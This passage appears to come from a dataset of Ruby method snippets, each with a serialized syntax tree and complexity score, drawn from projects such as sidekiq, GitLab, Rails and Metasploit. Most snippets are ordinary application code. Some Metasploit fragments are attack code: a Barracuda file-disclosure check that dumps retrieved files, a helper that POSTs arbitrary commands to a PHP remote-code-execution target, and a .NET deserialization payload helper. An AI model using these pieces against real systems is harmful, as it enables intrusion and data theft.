out\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\<html\\\\>(.*)\\\\</html\\\\>\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"barracuda\\\\.css\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"</?[^>]+?>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - Vulnerable\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - File Output:\\n\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"file_data\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - Not vulnerable: HTML too short?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"help_page\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - Not vulnerable: Patched?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - File not found or permission denied\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - No HTML was returned\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - Barracuda - Unrecognized \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" response\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,null]},null]}]}","id":"51bb0a75-ba58-4f65-bac7-8922ce0df26b"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/csrf_protection.rb","start_line":106,"raw_source":"def valid_token?(env, giventoken)\n        return false if giventoken.nil? || giventoken.empty?\n\n        begin\n          token = decode_token(giventoken)\n        rescue ArgumentError # client input is invalid\n          return false\n        end\n\n        sess = session(env)\n        localtoken = sess[:csrf]\n\n        # Checks that Rack::Session::Cookie actually contains the csrf token\n        return false if localtoken.nil?\n\n        # Rotate the session token after every use\n        sess[:csrf] = SecureRandom.base64(TOKEN_LENGTH)\n\n        # See if it's actually a masked token or not. We should be able\n        # to handle any unmasked tokens that we've issued without error.\n\n        if unmasked_token?(token)\n          compare_with_real_token token, localtoken\n        elsif masked_token?(token)\n          unmasked = unmask_token(token)\n          compare_with_real_token unmasked, localtoken\n        else\n          false # Token is malformed\n        end\n      end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]},{\"type\":\"arg\",\"children\":[\"giventoken\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"giventoken\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"giventoken\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[null,\"decode_token\",{\"type\":\"lvar\",\"children\":[\"giventoken\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"sess\",{\"type\":\"send\",\"children\":[null,\"session\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"localtoken\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sess\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"csrf\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"localtoken\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sess\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"csrf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"base64\",{\"type\":\"const\",\"children\":[null,\"TOKEN_LENGTH\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unmasked_token?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[null,\"compare_with_real_token\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"localtoken\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_token?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unmasked\",{\"type\":\"send\",\"children\":[null,\"unmask_token\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_with_real_token\",{\"type\":\"lvar\",\"children\":[\"unmasked\"]},{\"type\":\"lvar\",\"children\":[\"localtoken\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c8f0391b-fb62-48f4-89fa-1e5cbc1ad996"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/setup_service.rb","start_line":42,"raw_source":"def setup_activity\n    existing_types = @activity_client.fetch_activity_types\n    return if existing_types.blank?\n\n    activity_codes = setup_activity_types(existing_types)\n    return if activity_codes.blank?\n\n    update_hook_settings(activity_codes)\n\n    activity_codes\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_types\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@activity_client\"]},\"fetch_activity_types\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_types\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"activity_codes\",{\"type\":\"send\",\"children\":[null,\"setup_activity_types\",{\"type\":\"lvar\",\"children\":[\"existing_types\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"activity_codes\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"update_hook_settings\",{\"type\":\"lvar\",\"children\":[\"activity_codes\"]}]},{\"type\":\"lvar\",\"children\":[\"activity_codes\"]}]}]}","id":"7c85521b-8730-40e6-bea8-0dcf30573e18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":457,"raw_source":"def by_milestone(items)\n    return items unless params.milestones?\n\n    if params.filter_by_no_milestone?\n      items.left_joins_milestones.where(milestone_id: [-1, nil])\n    elsif params.filter_by_any_milestone?\n      items.any_milestone\n    elsif params.filter_by_upcoming_milestone?\n      upcoming_ids = Milestone.upcoming_ids(accessible_projects, params.related_groups,\n        legacy_filtering_logic: use_legacy_milestone_filtering?)\n      items.left_joins_milestones.where(milestone_id: upcoming_ids)\n    elsif params.filter_by_started_milestone?\n      items.left_joins_milestones\n           .merge(Milestone.started(legacy_filtering_logic: use_legacy_milestone_filtering?))\n    else\n      items.with_milestone(params[:milestone_title])\n    end\n  end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"by_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"milestones?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"filter_by_no_milestone?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"left_joins_milestones\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[-1]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"filter_by_any_milestone?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"any_milestone\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"filter_by_upcoming_milestone?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upcoming_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"upcoming_ids\",{\"type\":\"send\",\"children\":[null,\"accessible_projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"related_groups\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_filtering_logic\"]},{\"type\":\"send\",\"children\":[null,\"use_legacy_milestone_filtering?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"left_joins_milestones\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_id\"]},{\"type\":\"lvar\",\"children\":[\"upcoming_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"filter_by_started_milestone?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"left_joins_milestones\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"started\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_filtering_logic\"]},{\"type\":\"send\",\"children\":[null,\"use_legacy_milestone_filtering?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_title\"]}]}]}]}]}]}]}]}]}","id":"3fac1204-ccac-4204-b0de-64f1e89c62a9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":1110,"raw_source":"def build_class(callback, n = 10)\n      Class.new {\n        include ActiveSupport::Callbacks\n        define_callbacks :foo\n        n.times { set_callback :foo, :before, callback }\n        def run; run_callbacks :foo; end\n        def self.skip(*things); skip_callback :foo, :before, *things; end\n      }\n    end","complexity_score":10.55,"ast_json":"{\"type\":\"def\",\"children\":[\"build_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"callback\"]},{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Callbacks\"]}]},{\"type\":\"send\",\"children\":[null,\"define_callbacks\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"lvar\",\"children\":[\"callback\"]}]}]},{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_callbacks\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"skip\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"things\"]}]},{\"type\":\"send\",\"children\":[null,\"skip_callback\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"things\"]}]}]}]}]}]}]}","id":"7c7bc6ba-01a1-4297-afcc-a1419a123b55"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/php_utility_belt_rce.rb","start_line":73,"raw_source":"def http_send_command(cmd)\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path),\n      'vars_post' => {\n        'code' => cmd\n      }\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"http_send_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]}","id":"9a65b145-cdff-4a1a-93a9-2b60d8fffc30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization/types/primitives.rb","start_line":78,"raw_source":"def value_to_binary_string(string)\n      return DotNetDeserialization.encode_7bit_int(string.length) + string\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"value_to_binary_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DotNetDeserialization\"]},\"encode_7bit_int\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"length\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"7d7bcde5-abb3-438e-a8ae-b4a7a17cb6cf"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/feedback_messages_controller.rb","start_line":46,"raw_source":"def send_email\n      if NotifyMailer.with(params).feedback_message_resolution_email.deliver_now\n        render json: { outcome: \"Success\" }\n      else\n        render json: { outcome: \"Failure\" }\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"send\",\"children\":[null,\"params\"]}]},\"feedback_message_resolution_email\"]},\"deliver_now\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"outcome\"]},{\"type\":\"str\",\"children\":[\"Success\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"outcome\"]},{\"type\":\"str\",\"children\":[\"Failure\"]}]}]}]}]}]}]}]}","id":"a636063d-5202-43be-92c5-df308322955c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/test_command_generator_base.rb","start_line":117,"raw_source":"def pipe(device_type, language, locale)\n        not_implemented(__method__)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pipe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_type\"]},{\"type\":\"arg\",\"children\":[\"language\"]},{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[null,\"not_implemented\",{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}","id":"f6130999-66da-468f-a73c-c69c452aa41f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/work_package_list_to_pdf.rb","start_line":179,"raw_source":"def render_batched(work_packages, filename)\n    @batches_count = work_packages.length.fdiv(@work_packages_per_batch).ceil\n    batch_files = []\n    (0..(@batches_count - 1)).each do |batch_index|\n      batch_work_packages = work_packages.slice(batch_index * @work_packages_per_batch, @work_packages_per_batch)\n      unless batch_work_packages.nil?\n        batch_files.push render_pdf(batch_work_packages, \"pdf_batch_#{batch_index}.pdf\")\n        setup_page!\n      end\n    end\n    merge_batched_pdfs(batch_files, filename)\n  end","complexity_score":20.75,"ast_json":"{\"type\":\"def\",\"children\":[\"render_batched\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@batches_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"length\"]},\"fdiv\",{\"type\":\"ivar\",\"children\":[\"@work_packages_per_batch\"]}]},\"ceil\"]}]},{\"type\":\"lvasgn\",\"children\":[\"batch_files\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@batches_count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_work_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"slice\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_index\"]},\"*\",{\"type\":\"ivar\",\"children\":[\"@work_packages_per_batch\"]}]},{\"type\":\"ivar\",\"children\":[\"@work_packages_per_batch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_work_packages\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_files\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"render_pdf\",{\"type\":\"lvar\",\"children\":[\"batch_work_packages\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pdf_batch_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_index\"]}]},{\"type\":\"str\",\"children\":[\".pdf\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"setup_page!\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"merge_batched_pdfs\",{\"type\":\"lvar\",\"children\":[\"batch_files\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}","id":"485704ec-a238-4964-8093-b5e3ff2f9f95"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/open_storage_query.rb","start_line":37,"raw_source":"def call(auth_strategy:, **)\n              Authentication[auth_strategy].call(storage: @storage) do |http|\n                request_drive(http).fmap { it[:webUrl] }\n              end\n            end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"auth_strategy\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_drive\",{\"type\":\"lvar\",\"children\":[\"http\"]}]},\"fmap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"webUrl\"]}]}]}]}]}","id":"c4256ff4-e256-4a29-8629-1f6f7dc5c327"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails4/config/initializers/i18n.rb","start_line":11,"raw_source":"def call(exception, locale, key, options) \n    if exception.is_a?(Missing) && options[:rescue_format] == :html \n      keys = exception.keys.map { |k| Rack::Utils.escape_html k } \n      key = keys.last.to_s.gsub('_', ' ').gsub(/\\b('?[a-z])/) { $1.capitalize } \n      %(<span class=\"translation_missing\" title=\"translation missing: #{keys.join('.')}\">#{key}</span>) \n    else \n      @original_exception_handler.call(exception, locale, key, options) \n    end \n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]},{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Missing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rescue_format\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"escape_html\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"last\"]},\"to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\" \"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b('?[a-z])\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"capitalize\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"translation_missing\\\" title=\\\"translation missing: 